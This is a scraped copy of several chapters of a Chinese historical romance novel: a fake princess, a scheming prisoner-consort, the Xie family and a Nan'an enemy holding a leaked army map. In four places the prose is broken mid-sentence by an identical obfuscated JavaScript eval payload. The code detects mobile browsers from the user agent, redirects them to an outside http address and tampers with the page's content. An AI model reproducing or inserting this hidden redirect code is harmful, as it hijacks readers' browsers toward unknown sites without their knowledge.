她还在棘手怎么绕过贺闲风对长公主的感情来说事，谢夫人瞧出二人之间的不对劲气氛，唤人先去给落汤鸡取俩件合身的衣裳。 “怕是传话的人走得急，一不小心说错了嘴，”谢夫人牵着夏荇重新坐下，笑盈盈地将责任都揽过去，“是我想请小贺将军来的。” “现下城中兵力有限无法再调度，只能叫初时出去，可我那儿子的情况又实在太过危险，就想问问小贺将军愿不愿帮忙。” 贺闲风近几年上过战场，也并非是个花架子，手下还有刚带来的兵，若叫他点人一起去护着，谢初时又熟悉地形，找起来必然比单独找要快。 谢初时坐在侍卫单独给她搬的竹椅上等话，闻言脸上红红绿绿好一阵变化，到底没举起剑来大喊抗议安排。 贺闲风方才还在忙着安营扎寨，以为‘长公主’把他叫过来是要聊别的事情才急匆匆跑过来。 他愣神好一会，喃喃回道：“既然夫人开了口，贺某自然是全力以赴。” 路上小厮紧急给他补的谢家家情总算是派上点用场。 “军中尚还有事，谢姑娘点好人来营地寻我即可。” 下人捧过来的盘子里东西琳琅满目，几乎是重新给他配了一身行头。 贺闲风随手拿块丝帕，抹干净脸上的雨水后，冲门边的谢初时道：“贺某这边随时可以出发。” 谢初时听见事情谈妥，俩腿一蹬从椅子上跳起来，跑没影的速度快到她娘甚至还没来得及再嘱咐几句。 “这孩子，”谢夫人抬起的手还悬在半空，无奈地摇头笑笑，“脾气也不知道随了谁，咋咋呼呼的。” 她一撸袖子，又将那翠绿镯子取下，想强行套给夏荇的意愿比上一回还要强烈。 “夫人这就见外了。”夏荇实在是没见过这种一言不合就砸你几百万的夫人，与她在小方桌上玩起手拉手。 “只要等他们将人找回来，夫人肯帮我做主件小事就行了。” 到了西南这种天高皇帝远的地方，没有一门心思撮合的太后与陛下拦着，想和离就是随便寻个由头的事情。 贺闲风着急回去，听出夏荇话中暗含着的意思，正抬脚迈出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320066|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门槛的动作一顿。 许竹影先前在和谢初时一左一右当门神，身上主管好心拿给他裹的毯子披得乱七八糟。 他靠着门板，长发湿哒哒地黏在脸侧，活像个刚从湖里捞出来的妖精。 看戏的好位置突然被贺闲风打扰，许竹影仰起脸，明知故问道：“小贺将军不是还有事吗，怎么不走了？” 这个人先前冲进他的大营时，可不是这幅鬼魅柔弱样子。 贺闲风一股子没地方发的无名火。 “你同我出来，”他丢下一句冷冰冰的话，“我有事同你说。” …… “驸马爷叫我好好照顾殿下。” 许竹影慢腾腾地给手上的淤青涂药。 空云实在受不了许竹影半个时辰都讲不完的讲故事方式，不住地追问道：“然后呢然后呢？他打你了？” 喜言摇摇咕嘟的药炉，对着远方渐渐放亮的天打了个巨大的哈切。 这一夜事情实在太多，又被谢夫人拉着唠了一大通，夏荇回来后整个身子倒在矮塌上，完全放空地在等药熬好。 “没，是我自己往墙上撞的。” 夏荇缓慢睁开一只眼睛，怀疑仓促吃的几口烧烤里怕不是掺了没熟的菌子。 不然怎么会听见有人说胡话。 许竹影将放在她旁边的几小盆薄荷全移到自个人面前，好笑道：“殿下熬了一宿，这会儿听不下故事就先歇着吧，许某睡醒再讲。” “药还没好吗。”雾月点好物件，浑浑噩噩地飘过来询问。 “快了快了。”喜言加大手上摇扇子的力度。 空云双手合一，脑袋一点一点地对着那药罐磕头。 “希望殿下喝了这碗可以不做噩梦、睡得安稳一点。” 我也希望。 这段时间睡眠就没好过的夏荇疯狂在心里点头。 但就经验来看，待会儿大概率是贺闲风相关的良心债。 “殿下。” 一只温热的手覆到夏荇的额头。 许竹影先前没地位进''长公主''的闺房，这次纯属时来运转，谢家人手不足只简单收拾了公主的地盘，理应该给他住的屋子里迄今还空空荡荡，这才能在夏荇这儿混着。 自然，也是头遭给‘长公主’干点贴心事情，手法不大熟练。 “小贺将军托许某给殿下带了句话。” 那双手节骨修长，体温意外得和它主人的气质截然相反，正在轻轻地压着穴位打转。 夏荇闻到了许竹影身上腌入味的雨水味。 “大概意思是，既然缘分早已尽，公主只管将和离书递过去，他绝不会说一个不字。” 许竹影简单地作个转述者，声音娓娓道来，糅杂窗外依旧淅淅沥沥的雨声。 “以及，今夜之事不借公主由头他也会帮上谢家一把。” 夏荇呼吸一滞。 “还请殿下，莫要放在心上。” ‘长公主’听完他这通一直没说话，许竹影只当她是实在撑不住睡了，估计连话都没听个完全，按过三个流程便收回双手。 “他倒是先委屈体贴上了，”，谁料榻上人骤然睁开眼睛，眼神清明地冷笑道，“搞得是本宫无理取闹一样。” 12. 汤药 夏荇见过这位传说中的长公主一次。 当时萧舟雪藏在山崖下一处极为隐蔽的洞口，杂草吸饱她双腿折断处流出的鲜血，在溪流两畔开出满山的白色野花。 皇权之下对于女人的恩宠跟疼爱一只宠物没有什么区别，她因血脉高贵出身不凡有幸读过几页书籍，又被重重宫墙压抑住真正想要向外生长的羽翼。 觉醒又一知半解，糊涂又言之过甚。 夏荇是在她最后一点时间寻到那片地方的。 污浊不堪的宫裙在碎石间散成一个圆形，长公主手中紧紧攥着最后一只保命的莲花金钗，随时准备暴起拼命。 在看清来人只是个同她一般年岁的女孩子后，手肘又不自然地放松。 那双狼狈仍不掩高贵的凤眸直视她的眼睛，警惕又沙哑地问她是谁，又是为何来寻她。 当时夏荇是怎么说的来着？ “一个无关紧要的过路客而已。” 许竹影语气平稳，或许也可以说懒散，声音似风过竹林，穿过重重群山、湖泽溪流，意外地与不同时空下的夏荇重合。 “殿下以后的日子会过得更好的。” 山洞前未饰一物的素腕转化成许竹影朝旁伸出的手。 见‘长公主’一脸诧异，真从狗嘴里吐出象牙的人接过喜言倒好的药，低头边搅拌汤匙边道：“小贺将军与殿下青梅竹马少年夫妻，又是娘娘亲自作的主赐婚，如此深刻的姻缘也能尽了，可想而知，殿下暗地里到底是受了多少委屈。” 贺闲风虽心有大义却脑子里缺根弦，当将领打仗可以，和他过日子能被活生生气死。 “退一万步说，若有旁人借着这事又传殿下的风言风语。” 许竹影摇摇头：“那这旁人估计也没什么公德心。” 难不成还要两个人绑在一起作对怨侣，互相折磨，等着哪天熬走其中一个还要来得更好吗？ “许公子确实巧舌如簧，”夏荇从矮塌上缓缓坐起，支着头盯他的手道，“就是不知本宫这药里又被你放了什么？” 那么明显一小包粉末，生怕她看不见还是什么。 还过得更好。 ''长公主''身边最大的一个危险因素就是你。 许竹影在江口不是和她商量好，等到了西南扎稳脚跟再下手吗。 现在这偷偷摸摸地搞小动作，是唱的哪出戏。 许竹影弄凉汤药的动作停了下来。 他斜乜夏荇一眼，浅浅地笑道：“是毒药，殿下还喝吗。” 窗外的雨下过一夜也不见半点减少的迹象，烛火摇曳，恰有一线亮光擦过许竹影的脸侧，落于他宽阔的肩头。 水晶耳坠刚带回发丝之间不过几刻，流光溢彩、绚丽荡漾。 这人。 明明狠毒心机哪哪不差，偏偏面上还能装得极好的无辜样子。 “不妨许公子先给本宫试试毒。” 夏荇半个字都不信。 “自然。”许竹影分出一个小茶盏。 他往其中倒上三分之一捧倒夏荇面前，余下剩的小半碗一口闷入。 喝完，狐狸梳毛似得理好仪容，方才开口道：“能为殿下做事，是许某的荣幸。” 至于这麻烦怎么来的你就别管了。 许竹影喝得实在太过干脆，三个侍女又熬不住刚刚纷纷去睡下，再将人从梦中叫醒去找医师实在太过残酷。 夏荇思索一番，拿起一旁雾月还未完全收拾好的盒子。 “身上还有装什么解药一类的东西吗。” 她翻找出所寻的物件。 银镯的凉感刺得许竹影晃了下身子。 他抬手拽拽这条比几位前任都粗上不少的银链，对夏荇展示空空如也的几个口袋：“没了。” 夏荇将另一头扣在方柜的粗柱上，圈画出许竹影仅剩的几步活动范围。 “那许公子就在这睡着吧，看看会不会被那药给毒死。” 夏荇端起那一个小杯子，本着喜言煮了半天总不能浪费的原则往嘴里倒。 入口，诡异得居然不算很难喝。 跟喜言这些天熬的一比，说一声佳酿都不为过。 “殿下放心。” 夏荇转过身子看他、 许竹影手臂垫在脑后，在自知之明的驱使下躺在矮塌中合眼休息。 “只是许某小时候睡不着时，爷爷专门调配一个药方而已，没什么毒性。” 睫毛随着他说话的节奏颤动。 夏荇：“……” 容纳夏荇勉强足够的矮塌被他塞得满满当当，许竹影蜷缩身子，突然被什么软绵绵的一大团砸中。 他扒拉开棉花绣被，‘长公主’的裙角已经转入内室，只留给他一道轻微晃动的纱帘。 这是第几次心软了啊。 许竹影抱着满满梨花香味的被子，将藏在袖口里几月的真正毒药塞进矮塌间的缝隙。 就‘长公主’这性子。 真的有可能，会狠下心去杀一个人吗？ 许竹影带着这些天苦想不通的问题入睡。 …… “不会。” 老天爷的雨总算泼到尽头。 夏荇坐在凉亭内，缓缓喝着陶罐中的小米南瓜粥，面前盘子在谢夫人的不断夹菜下，形成一座小小的山峰。 “夫人准备的住处小但精巧，”夏荇回忆屋外一大片高过房梁的竹林，“本宫并没有觉得哪里招待不周的。” 谢夫人放下筷子，展颜笑道：“雪儿喜欢就行。” “也不知殿下性情古怪的流言是哪个酸书生传出来的，”她看着夏荇欣赏道，“太后娘娘养在跟前的长公主，怎么可能是他们口中那个样子。” 夏荇此刻头上堆满她派人送来的彩绳宝石鸟羽，长发编成俩个粗麻花辫垂在身前，活脱就是个苗疆才能养出的寨主模样。 三枚木刻小花别在耳后，与额前代表祝福的南红珠链一同荡啊荡。 谢夫人打量自己的杰作，越看越是欢喜。 谢初时平时练剑骑马，嫌过多的饰品影响动作，搞得她打扮女儿一般都只能选点简单的发卡。 这下好了，随手买的精致小玩意终于有人可以天天戴了。 新晋饰品架轻轻一动，本人自己也不清楚到底有多少的一堆银铃齐齐发出脆响。 “母后若听到夫人如此夸赞，也会很高兴的。” 毕竟这位好像也是痴迷于将女儿装扮成圣诞树。 看长公主府里堆满整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324080|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个仓库的首饰就知道了。 “说到首饰，也不知道木兰寻着了那混小子没。” 就架在长餐桌边的大粥锅里足足焖了一半的牛肉，火舌舔过发黑的底，荔枝柴木慢炖的香味飘满整个院子。 谢夫人一顿饭光顾着给夏荇堆高高，自己几番拿起筷子，往嘴里送的却没几口东西。 黄昏透过月牙门边的芭蕉树，露出柿子红时才有的天色，凉风习习树影摇曳，本是一番难得的雨后意境。 就是这颜色实在太像谢初时昨夜穿走的一身红衣，惹得谢夫人频频抬头，凝视好一会才能反应过来：那不是女儿的身影。 她叹口气，去翻动咕嘟咕嘟冒泡的粥。 “我还给她留了饭呢，她昨晚没吃饱，要是今天回来的话，和她哥俩个能给我这锅都造了。” 说着说着，又看向面前只摆了一半不到的餐桌，喃喃道：“说来，也好久没一家人坐在一起吃顿饭了。” 大恒国力日渐衰弱，南安趁火打劫，这几年对边界的骚扰大大小小，一直没断过。 如今那些人寻着由头，嘴上说着什么给王子复仇，其实就是变本加厉的烧杀抢掠。 但若是问他们王子全名叫啥，绝大部分又都说不出什么所以然来。 无非是看你好欺负，遂一窝蜂围上来，想撕下点肉走。 夏荇拍拍夫人发凉的手背，意在安抚。 谢夫人抹去眼里的泪花，轻笑道：“今天多亏殿下在这儿了，还能同我说说话。” “夫人不必太过担惊受怕，”夏荇靠上她的身子，轻轻蹭了几下，“南安人基本上打一波就跑，并不在一地久留，木兰这时候去找人，快的话没准今晚就回来了。” 陶瓶里插着的青竹枝落下一片叶，算作无声的赞同。 谢夫人将她揽在怀里，笑着重复道：“我知道的，我知道的……” 就是不知道这样的日子，什么时候才是个头。 “殿下明儿想不想出府去走走？如今外面的花正是开得漂亮的时候。” 谢夫人靠了一会儿，迅速整理好情绪。 她起身，走到塞满各种香料与茶叶罐子的木柜前，轻手轻脚地取下一副简单的都城舆图。 凉亭与旁边的小室打通，仅留了这一面柜墙分隔，谢夫人拿了东西，又朝旁边摸去，试图给夏荇寻几个干果来把玩。 摸上半天，也没找到想找的东西，谢夫人“嗯？”了一声，狐疑地蹲下腰查看。 原先摆满干果的地方如今空空荡荡。 小贼老老实实地蹲在墙的对面，哪也不跑，就等着谢夫人发现。 “娘！”谢初时探出个毛茸茸的炸毛脑袋，叫人的尾调上扬。 谢夫人朝后退了一步，捂着心口道：“哎呦，你啥时候藏到后面去的。” “没藏多久啦，我找到二哥就马不停蹄地回来了！” 谢初时“哐当”将剑往餐桌上一拍，腰一弯跑出她娘的怀抱，凑到夏荇跟前去。 “殿下，问个事。” 谢初时俩只手互缠成麻花样。 “你说。”夏荇放下茶杯。 “那个什么姓曹的专门给陛下传旨的公公，”谢初时纠结地开口，“有没有可能，是个假的。” 13. 来客 “胡说什么呢。” 谢夫人方才没被女儿突然冒出来的动作吓到，听见谢初时这一句，差点摔了手中刚拿出来的柴烧大陶碗。 ‘长公主’轻笑一声，随手将那落竹叶夹在指间，问道：“谢姑娘路上撞见曹公公了？” 八百里快马加急的御令，一来一回，一个半月的时间就能送回来，可见这次事儿大到皇帝也不得不支棱起来处理。 谢初时点点头，贴着夏荇坐在矮桌前。 “我寻着二哥之后，便背着他着急往回赶了。” 再次堆到溢出的肉粥放眼望去都瞧不见米，谢初时嗅着香味，说话时偷偷咽了好几次口水。 “路过玉湖底下那个小村子时，远远就听见有人在喊着什么吉祥啊的糊话，我当他们唱戏扮角呢，就扒开草丛，看了一眼。” 西南全境的情况哪哪都算不上好，谢家治理百年，谢初时就是从爹妈平日的闲杂里偷听，也大致能推出个七七八八。 照理来说应该在驿馆中修整，好抓紧将军令带到府城的大主管坐在八人抬的轿子里，吹拉弹唱好不气派。 他抬抬带着翡翠玉扳指的小指，被点到人家就立马欣喜若狂，叫还在哇哇大哭的孩子跟上老爷的队伍。 “若留下来长大还是战死，还不如给孩子谋一个外头的富贵出路。” 谢初时听见那些妇女对互相说的算盘，又看看一脸祥和，衣袍绣花的公公，不解地大步跳下山路。 泥水四溅，被糟蹋得瞧不出原样的红衣贴在胸口，压得她喘不过去。 她还有更重要的事情要去做。 “不是说这位公公专门替陛下传令，行事春风化雨，绝不为难人的吗？” 晚霞映在谢出时澄澈不解的眸子里，莫名叫夏荇想到了西南那座最有名的雪山。 日出时的万千金光盖在山脊的皑皑白雪之上，一点苍鹰高鸣，天地之间五光十色。 绝对的神圣、绝对的不染，虽是人间震撼之景，却绝对不会叫人打起任何的歪心思。 可又是这样最干净最不懂弯弯绕绕的将才，反而最容易在乱世里死无葬身之地。 夏荇晃过神，手中的竹叶在不知不觉中，竟然被她撕得稀巴烂。 “可能公公也有俩副面孔吧。” 谢夫人拍拍谢初时的肩膀，将勺子塞入她手心。 别多想了，先吃饭吧。 谢初时目色一凝，还待再说些什么，她娘的手已经无声无息地摸上后脖颈，不轻不重地捏了一下。 效果堪比逗猫，小谢将军身子一哆嗦，“呜呜”俩声转头就干饭去了。 夏荇又端起茶水，趁谢初时没发现，塞过去一整盘红红黄黄的傣味。 候在外头做事的下人脚步匆匆地走进院子，小声贴在谢夫人耳边说话。 “木兰，去你的院子换身衣服。” 刚将山峰削平的花猫乖乖地抱起碗。 夏荇手上蓦地一凉，抬眸，发现是谢夫人牵起了她的手。 地平线吞下最后一道绚烂的霞光，晚风穿堂，吹得她头上代表候府夫人身份的珍珠流苏微荡。 “来客人了。” …… “客人”们不是很讲大恒这边的规矩。 谢夫人带着夏荇踏进谢府待客的大堂，先被黄金闪出的光震得眯起眼。 南安来的王坐在主人位上，不紧不慢地吃光桌上最后一颗原本供给谢家祖先的葡萄。 见终于将人等来，往身旁爱妾的手中吐出一团皮。 两方视线重叠。 “范元安，”谢夫人挡在夏荇面前，语气冰冷地道，“今天是那阵妖风能把你给吹进来。” 他周围几十位侍卫露着胸膛，无一不是握紧刀把，目光紧盯谢家目前的话事人。 谢夫人长裙垂地，身边所带的侍卫不多，甚至背后还牵着个容貌姣好的姑娘。 堂口下方黑压压地聚满人头，随着那道单薄瘦弱的身影开口，整齐划一地重重剁了一下地。 谢夫人垂眸，慢条斯理地一颗一颗拨动手上的珠串：“别以为拿了块御赐使者令牌，我就不敢动你。” 南安地方王范元安，与大恒西南真正厮杀了几代祖辈的仇敌。 夏荇不动声色地用余光扫过他狂放的坐姿，最终停在他左眼所罩着的那一方黑布之上。 或许，也可以说是目前南安最有实力的一方诸侯。 他在这个关节点来干什么？ 光谢府从上到下这波人可就能给他弄死。 “夫人说话如此冷酷无情，可一点没有要合作的诚意。” 范元安说起官话的腔调古里古怪，独眼转动，毒蛇一般滑过谢夫人雪白的脖颈。 “三年前，你那小崽子在红河捅瞎了我一只眼，”油腻的指节摊开一张不大不小的宣纸，“三年后，只要你把他从坝山好好地捆回来，叫我废了他的双眼。” 范元安站起身，当谢夫人面前侍卫不存在一样向她走近。 所载各种奇怪线条的纸张飘在空中。 他嘴角上挑，挑衅地站在离枪尖不过一尺的距离，与谢夫人平视道：“我就向大王请命，保你们谢家不死，甚至还能好好地活在我的府上做事，如何？” 说的好像这西南成了他们南安的囊中之物一样。 难闻的各种香料味扑面而来，惹得谢夫人拧了拧眉心。 她冷嗤一声：“好大的口气，就这么张破纸，也好意思上谢家来谈——” “非也。”范元安文绉绉地竖起一根手指。 他接过奴仆手中的油灯，照亮纸面上所画的内容。 舆图不大不小，恰好对应西南的各处地界，详细又具体地标注出谢家所布置的军力。 范元安慢条斯理地笑：“夫人要是看清楚了这是什么东西，应该就会好好说话了吧。” 行兵打仗，能拿到对手所布置的军情图，无异与相当于捏住了对方最致命的弱点。 如果不是有人拦着，夏荇都怀疑他原本是想捏着谢夫人的下巴说这句话。 谢夫人无疑也看清楚了那图到底是个什么东西。 “我当是什么给了你底气。” 她面色不变，只是还牵着夏荇的手无声地抓紧，仗着有袖子的遮掩端得风波不惊。 “不过也是使些阴谋手段。” 范元安笑弯了腰，手掌撑在面前嘴角绷成一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337619|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直线的侍卫肩头。 “夫人还当是话本里演的故事呢，”他得意地将军情图举得更高，恨不得贴在谢家门口那块御赐牌匾之上，“要不要猜猜……” 军情图之至关紧要，能接触到的除了谢家人，就是中央那群真正的掌权者。 无论是哪个，查出来，都是可媲美三月之前江南血案的程度。 夏荇心头一沉，察觉到谢夫人掌心所冒出的冷汗。 从在外作威作福的太监，到叛国通敌的不明人士。 谢家百年兢兢业业，到头来换的居然是被主子卖了个底干净。 而范元安的大笑还在继续。 “这份东西，是你们大恒哪个人给的？” 穿堂风一过，吹得夏荇身上的铃铛叮叮作响。 范元安小人得志的嘴脸在满屋火光照耀中分外清晰。 他左踏一步，试图绕过侍卫去触碰谢夫人垂在一旁的手，嘴中叫道：“再猜猜，我是如何靠着你们大恒给的东西，将你另一只狗崽子给打的落荒而逃，屁都不敢放一个的！” 他没能成功。 “说够了没有。” 谢夫人反手抽过侍卫蠢蠢欲动的长枪。 她瞧着瘦弱，骤然爆发时却能将枪头准确无误地怼在范元安的鼻尖。 打磨保养良好的长枪通身敛着锋芒，与身着华服锦绣的夫人搭配在一起不伦不类，唯独珍珠与尖端同时闪过寒光。 她看着被吓得缩脖子的范元安，稍稍偏一下脑袋，平静地道：“说够了，就给我滚出去。” 军情图轻飘飘地落于谢家人来人往的大堂地面，无助地展开精细又复杂的内容。 但再重要，现在无非也就是一张废纸罢了。 堂下黑压压的将士不言先动，默契地给“客人”让出一条离开的路。 其中不乏有人头怎么都转不对方向，直勾勾地望向范元安的眼神里燃着火。 是要是不好好走。 抬出去也不是不行。 谢夫人镇定抬步，裙角擦过范元安着急忙慌要将那纸片捡回来的手。 夏荇听见她低低地笑了一声，声音不高不低道：“当年谢边声带着我的花轿杀过你父亲的埋伏时，你还没我的嫁妆高。” 她将原先座椅上铺好的一堆苗绣坐垫扯下，丢垃圾一样丢到范元安脚边后，才拉着夏荇坐下。 “上头的一个两个是孬种，可我杜雁秋不是。” 纵然已经对大恒失望透顶，可西南还有黎民百姓、有她的至亲。 范元安被她的气势震住，夹着尾巴滚之前用南安话语速飞快地骂了一句什么东西，被旁边听得懂的谢府侍卫爆起骂了回去。 “让殿下看笑话了，”杜雁秋唤来人收拾被搅得一团乱的大堂，“谢府侍卫分散都城，方才紧急抽调，大多数都是殿下的人，这才冒险也将殿下也带了过来。” ‘长公主’莞尔一笑，摇摇手道：“无妨，看夫人打狗也挺有意思的。” 夏荇话锋一转，状若天真地询问。 “只是，军情图既然泄露，不知夫人下一步该如何布局？” 不知，需不需要。 和一位夏理事合作。 14. 过往 谢二的情况可以说一声糟糕至极。 南安火器技术虽然废物，但有各种各样稀奇古怪的偏方来制作毒药。 谢夫人叫来的医师们对着从腹部取出的箭矢研究半天，还没得出个结果，先开始劝说夫人一定要做好心理准备。 匆匆赶来的谢初时双手抱胸，边护送夏荇回院子，边在嘴里诅咒范元安惯会使阴谋诡计不得好死。 “我就说大哥当年只戳瞎他一只眼睛还是便宜他了。” 高马尾卡着她每一道重音一晃一晃，活像花猫身后生气时而竖起来的毛绒尾巴。 “木兰也不用太过焦急，会有法子的。” 夏荇听她噼里啪啦倒豆子一般说了一路，快要瞧见自己的院门了，终于插上一句话。 若要寻手艺高超妙手回春的医师，她也能叫来一些隐居良久的。 就是现下西南这般处境，人不一定进得来，若她原貌去和谢夫人谈条件，抽调出一小支卫队来秘密护送…… 夏荇还在思索方案，坐在院门口望风的喜言听见银铃声，急忙提起手中的灯笼。 “殿下！您可算回来了！” 小姑娘冲她们挥手。 还没乐上几下，手中的灯笼就被从门后面轻飘飘转过来的小白脸抢了去。 许竹影提灯的手布满细碎的做工痕迹，为了方便随时随地重新系回锁链的粗银拷只留出二指的宽度，从白衣袖口中露出小半个圆形。 他主动朝她们走了俩步，关切道：“听说殿下今夜被带去见了南安的人，没被吓着吧？” 高出屋墙的竹林遮住了漆黑的天幕，几盏灯笼光照亮碎石路上摇晃不停的影子。 许竹影在夏荇面前站定，弯腰取下一片不知道什么时候沾在她肩头的竹叶。 夏荇只觉耳朵边擦过团温热的风，带起股无名的痒意。 她对上许竹影无辜的脸色，开始反思是不是最近派给他的活少了。 不然他哪来这么多精力搞黄鼠狼给鸡拜年的把戏。 谢初时吐到嘴边的话硬生生憋了回去。 她在气氛诡异的二人之间切换视线，最终仿佛看到脏东西一般缩缩脖子，默默往后退了几步。 而那俩人还丝毫没觉得有什么不对，默契地同时转过头，用黑白分明的眸子不解地看着她。 碎银铃藏在发间，轻轻跟着夜风荡出阵响。 谢初时：“……” 这股子一不小心闯进爹娘房间的愧疚感是怎么回事。 “既然殿下有人来接，民女就先行回去帮娘亲看药罐了，毕竟碧玺蛇毒这事还是挺大的。”谢初时挠挠脑袋，溜之前将怀中剑抱得更紧了点。 许竹影弯下腰。 他鼻尖贴过那几只翡翠做的蝴蝶，幽幽地在夏荇耳边道：“其实殿下再出去花天酒地几天也无妨。” 声音不高不低，尾端甚至还掺着股打趣的笑意，恰好够在场的所有人都听个清清楚楚。 很难，不让人觉得他是故意的。 “许某会好好地带着她们三个等殿下回来的。” 在山地里背亲哥奔跑还能如履平地的小谢将军背影一个踉跄，逃的速度比当时在山谷里追着揍人还快。 夏荇抬起手，点了点许竹影手腕上的银拷，微笑道：“许公子若是不能好好说话，不如把舌头割下来送给有需要的人。” 从层层竹叶间漏下来的一小片月色莹白如玉。 ‘长公主’今日红红绿绿挂满全身，手上戴的腰上挂的衣角别的，硬生生叫杜雁秋配出了朵花来。 唯独耳垂空空荡荡，连片彩羽都无。 月光晃过堪称素净的这一点白色，叫人联想到高原祭祀的朝圣牧歌，各种颜色的彩旗遮天蔽日，遥遥对应远方巍然不动的亘古雪山。 篝火从白天燃到黑夜，再从黑夜燃到白天。 而雪山从祖辈起就伫立在那里，没有人会质疑她的独特与神圣。 就很奇怪。 明明之前也不会想起这些小时候的东西。 一到长公主府之后，跟夏荇的接触越深，那些原本早该忘掉，埋在的记忆烂泥的片段就越嚣张地冒出来。 许竹影抛掉那些乱七八糟的的念头，手腕一翻，轻轻托起夏荇的指尖。 灯笼左右晃动，又重新稳住肚里燃烧的火。 “殿下言重了。” 石板与青苔上投出俩道几乎要重叠在一起的影子。 比较高的那团咕哝变形，疑似是刚牵上就立即反被打了一巴掌。 夏荇提起裙摆，视线移向小院门口的墙根：“言没言重你自己清楚。” 谢府人手严重不足，不知谁干完活没收工具，落了个孤零零的扫把在那里。 瞧着分外好使。 风吹雨打到发黄发霉的扫把被一席白衣挡住。 许竹影稍稍弯腰，为她推开竹制小门：“许某这张嘴留下来帮殿下做事，没准更能发挥用处。” 夏荇今夜回来得晚，雾月她们呆不住风口都缩在屋子里，庭院空空荡荡，竹林隐约漏出一半藏在云后的月亮。 喜言忘记收走的药炉还敞在屋檐下，内里积了满满的一罐子雨水。 “比如，解个碧玺之毒什么的。” 这还真比拿上扫把扫一夜落竹叶好使。 “你会解？”夏荇将信将疑，“这毒药不是出了名的难缠吗。” 碧玺碧玺，得名于一款珍稀水晶。 水晶多色，毒药多变，制作时材料所放的顺序、中毒的时间、乃至于制作时的天气都会导致毒性的变化。 故而，解一个，都是医书上单开一页详细说明的地步。 许竹影做东西是厉害，可那也和医药八竿子打不着啊。 “准确来说，也不是许某解。” 灯笼被他随手搁在一处石凳上。 俩个人在小石桌旁边坐下。 许竹影屈起长腿，火光恰好在鼻梁处分界。 桃花眼里沉沉浮浮，回忆敛着色彩，围成个风暴漩涡打转。 夏荇听他讲述道：“殿下应该听说过许杏林，曾经宫中的太医院首席。” 许杏林、许竹影、许杨心。 冒牌''长公主''丝毫不清楚这些京城往事，根据姓氏乱猜道：“他是你爹？” 许竹影：“……” 他无奈地笑：“殿下，记性再差也没有这么个差法。” 许杏林是他爷爷。 当年还在宫中做事时，全权负责调理长公主殿下的身体，一个月多的时候能见上十几回。 一连七八年。 怎么可能半分印象都没有。 ‘长公主’手只着头，瞪他：“本宫落水后把这些事都忘了，你接着说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352287|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 口气没有丝毫忏悔。 “遵命，”许竹影拿出小石桌下备着的干果，“这故事有些长……” 雾月从屋内走出，给夏荇放好茶具后相当识相地回去和小姐妹一起绣衣服。 照花茶入口的口感来看，估计是许竹影还在屋外接人就已经泡上。 碧玺的解法极其看时候，现下干着急也没用。 “许某挑着重点，长话短说。” 许杏林这辈子只有一个女儿。 许竹影他娘是个颇有个性的奇女子，说什么都不愿嫁到人家家里，去过看丈夫脸色过日子。 许大夫想遍悬壶济世多年，见到的种种负心汉，也一拍桌子，摸着山羊胡跟女儿说咱不受那委屈。 父女相视一笑，干脆逛遍京城各处牙行，找了个男人来入赘。 婚礼种种一概按照许家娶人置办，孩子出生，也只管跟在许杏林后头撒泼，口中爷爷爷爷地叫。 “后来，那男的被邻里街坊戳脊梁骨，越想越觉得自己身为男人的自尊都被作践，居然被个娘们每天呼来喝去，”许竹影剥好一小磁盘的糖炒瓜子，往夏荇手边递，"他要复仇，要她生不如死。" 许竹影说书似地讲述，半点没觉得骂自己老子哪里有什么不对。 夜间吃太多茶伤胃，夏荇不过喝了几杯，就被他以这样容易更睡不着的理由拦下，捧着跟鸟食一样少的瓜子嚼。 为什么不剥更多，这人说干果吃太多也上火。 “他便偷偷去买了传闻中绝对无法解开的碧玺之毒，加到我娘的茶水里。” 毒发之后，一走了之。 竹林还在夜风中摇。 夏荇的手覆在许竹影的背上，微不可查地拍了拍。 或许可以算是一个安慰。 窝囊到连只有几岁的儿子都不敢下手，只敢将怒火一窝蜂地全洒向女人。 仿佛男子之身是什么很高贵的东西一样。 许竹影的指骨摩挲过茶杯底残留的温度。 